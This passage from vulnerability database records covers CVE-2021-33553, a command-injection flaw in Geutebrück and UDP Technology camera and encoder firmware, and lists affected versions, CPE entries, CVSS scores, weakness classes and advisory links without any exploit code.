"trust": 0.8
},
{
"db": "CXSECURITY",
"id": "WLB-2021090031",
"trust": 0.6
},
{
"db": "CS-HELP",
"id": "SB2021072807",
"trust": 0.6
},
{
"db": "AUSCERT",
"id": "ESB-2021.2550",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083",
"trust": 0.6
},
{
"db": "CS-HELP",
"id": "SB2021041363",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975",
"trust": 0.6
},
{
"db": "OTHER",
"id": "NONE",
"trust": 0.1
},
{
"db": "VULMON",
"id": "CVE-2021-33553",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2021-33553"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "PACKETSTORM",
"id": "164036"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"id": "VAR-202109-0849",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "OTHER",
"id": null
}
],
"trust": 0.01
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"camera device"
],
"sub_category": "camera",
"trust": 0.1
}
],
"sources": [
{
"db": "OTHER",
"id": null
}
]
},
"last_update_date": "2025-01-30T20:38:58.222000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "GEUTEBRUCK \u2019 s\u00a0web\u00a0portal\u00a0 (Login required)",
"trust": 0.8,
"url": "https://portal.geutebrueck.com/"
},
{
"title": "Geutebr\u00fcck G-Cam E2 and G-Code Fixes for command injection vulnerabilities",
"trust": 0.6,
"url": "http://123.124.177.30/web/xxk/bdxqById.tag?id=158063"
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-78",
"trust": 1.0
},
{
"problemtype": "Command injection (CWE-77) [ Other ]",
"trust": 0.8
},
{
"problemtype": " Stack-based buffer overflow (CWE-121) [ Other ]",
"trust": 0.8
},
{
"problemtype": " Lack of authentication for important features (CWE-306) [ Other ]",
"trust": 0.8
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.2,
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
},
{
"trust": 1.6,
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"trust": 0.8,
"url": "https://jvn.jp/vu/jvnvu97817785/"
},
{
"trust": 0.8,
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-05"
},
{
"trust": 0.7,
"url": "https://packetstormsecurity.com/files/164036/geutebruck-remote-command-execution.html"
},
{
"trust": 0.7,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33553"
},
{
"trust": 0.6,
"url": "https://www.auscert.org.au/bulletins/esb-2021.2550"
},
{
"trust": 0.6,
"url": "https://www.cybersecurity-help.cz/vdb/sb2021072807"
},
{
"trust": 0.6,
"url": "https://cxsecurity.com/issue/wlb-2021090031"
},
{
"trust": 0.6,
"url": "https://www.cybersecurity-help.cz/vdb/sb2021041363"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33543"
},
{
"trust": 0.1,
"url": "https://github.com/rapid7/metasploit-framework"
},
{
"trust": 0.1,
"url": "https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/\u0027],"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33544"
},
{
"trust": 0.1,
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03\u0027]"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33554"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33551"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33548"
},
{
"trust": 0.1,
"url": "https://metasploit.com/download"
},
{
"trust": 0.1,
"url": "http://geutebruck.com\u0027"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33550"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2021-33552"
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2021-33553"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "PACKETSTORM",
"id": "164036"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "VULMON",
"id": "CVE-2021-33553"
},
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"db": "PACKETSTORM",
"id": "164036"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2021-07-29T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"date": "2021-09-02T15:36:40",
"db": "PACKETSTORM",
"id": "164036"
},
{
"date": "2021-07-27T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"date": "2021-04-13T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"date": "2021-09-13T18:15:23.597000",
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2021-07-29T08:30:00",
"db": "JVNDB",
"id": "JVNDB-2021-002023"
},
{
"date": "2022-10-08T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202107-2083"
},
{
"date": "2021-04-14T00:00:00",
"db": "CNNVD",
"id": "CNNVD-202104-975"
},
{
"date": "2023-11-07T03:35:52.310000",
"db": "NVD",
"id": "CVE-2021-33553"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "PACKETSTORM",
"id": "164036"
},
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
}
],
"trust": 0.7
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "GEUTEBRUCK\u00a0 Made \u00a0G-Cam\u00a0E2\u00a0 and \u00a0G-Code\u00a0 Multiple vulnerabilities in",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2021-002023"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "operating system commend injection",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202107-2083"
}
],
"trust": 0.6
}
}
GSD-2021-33553
Vulnerability from gsd - Updated: 2023-12-13 01:23{
"GSD": {
"alias": "CVE-2021-33553",
"description": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.",
"id": "GSD-2021-33553",
"references": [
"https://packetstormsecurity.com/files/cve/CVE-2021-33553"
]
},
"gsd": {
"metadata": {
"exploitCode": "unknown",
"remediation": "unknown",
"reportConfidence": "confirmed",
"type": "vulnerability"
},
"osvSchema": {
"aliases": [
"CVE-2021-33553"
],
"details": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code.",
"id": "GSD-2021-33553",
"modified": "2023-12-13T01:23:18.804139Z",
"schema_version": "1.4.0"
}
},
"namespaces": {
"cve.org": {
"CVE_data_meta": {
"ASSIGNER": "info@cert.vde.com",
"DATE_PUBLIC": "2021-08-31T22:00:00.000Z",
"ID": "CVE-2021-33553",
"STATE": "PUBLIC",
"TITLE": "UDP Technology/Geutebr\u00fcck camera devices: Command injection in command parameter leading to RCE"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "E2 Series",
"version": {
"version_data": [
{
"version_affected": "\u003c=",
"version_name": "EBC-21xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "EBC-21xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "EBC-21xx",
"version_value": "1.12.14.5"
},
{
"version_affected": "\u003c=",
"version_name": "EFD-22xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "EFD-22xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "EFD-22xx",
"version_value": "1.12.14.5"
},
{
"version_affected": "\u003c=",
"version_name": "ETHC-22xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "ETHC-22xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "ETHC-22xx",
"version_value": "1.12.14.5"
},
{
"version_affected": "\u003c=",
"version_name": "EWPC-22xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "EWPC-22xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "EWPC-22xx",
"version_value": "1.12.14.5"
}
]
}
},
{
"product_name": "Encoder G-Code",
"version": {
"version_data": [
{
"version_affected": "\u003c=",
"version_name": "EEC-2xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "EEC-2xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "EEC-2xx",
"version_value": "1.12.14.5"
},
{
"version_affected": "\u003c=",
"version_name": "EEN-20xx",
"version_value": "1.12.0.27"
},
{
"version_affected": "=",
"version_name": "EEN-20xx",
"version_value": "1.12.13.2 "
},
{
"version_affected": "=",
"version_name": "EEN-20xx",
"version_value": "1.12.14.5"
}
]
}
}
]
},
"vendor_name": "Geutebr\u00fcck"
}
]
}
},
"credit": [
{
"lang": "eng",
"value": "Titouan Lazard and Ibrahim Ayadhi from RandoriSec reported these vulnerabilities."
}
],
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code."
}
]
},
"generator": {
"engine": "vulnogram 0.1.0-rc1"
},
"impact": {
"cvss": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "CWE-78 Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/",
"refsource": "CONFIRM",
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"name": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03",
"refsource": "CONFIRM",
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
}
]
},
"source": {
"discovery": "EXTERNAL"
}
},
"nvd.nist.gov": {
"configurations": {
"CVE_data_version": "4.0",
"nodes": [
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2110_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ebc-2110:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2111_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ebc-2111:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2241_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_efd-2241:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2250_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_efd-2250:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2230_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ethc-2230:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2239_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ethc-2239:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2240_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ethc-2240:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ethc-2249_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ethc-2249:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2270_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2270:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_eec-2400_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-code_eec-2400:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2010_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-code_een-2010:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-code_een-2040_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-code_een-2040:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ebc-2112_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ebc-2112:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_efd-2251_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_efd-2251:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2275_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2275:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
},
{
"children": [
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:*:*:*:*:*:*:*:*",
"cpe_name": [],
"versionEndIncluding": "1.12.0.27",
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.13.2:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
},
{
"cpe23Uri": "cpe:2.3:o:geutebrueck:g-cam_ewpc-2271_firmware:1.12.14.5:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": true
}
],
"operator": "OR"
},
{
"children": [],
"cpe_match": [
{
"cpe23Uri": "cpe:2.3:h:geutebrueck:g-cam_ewpc-2271:*:*:*:*:*:*:*:*",
"cpe_name": [],
"vulnerable": false
}
],
"operator": "OR"
}
],
"cpe_match": [],
"operator": "AND"
}
]
},
"cve": {
"CVE_data_meta": {
"ASSIGNER": "info@cert.vde.com",
"ID": "CVE-2021-33553"
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "en",
"value": "Multiple camera devices by UDP Technology, Geutebr\u00c3\u00bcck and other vendors are vulnerable to command injection, which may allow an attacker to remotely execute arbitrary code."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "en",
"value": "CWE-78"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/",
"refsource": "CONFIRM",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities/"
},
{
"name": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03",
"refsource": "CONFIRM",
"tags": [
"Third Party Advisory",
"US Government Resource"
],
"url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
}
]
}
},
"impact": {
"baseMetricV2": {
"acInsufInfo": false,
"cvssV2": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "SINGLE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.0,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"severity": "MEDIUM",
"userInteractionRequired": false
},
"baseMetricV3": {
"cvssV3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9
}
},
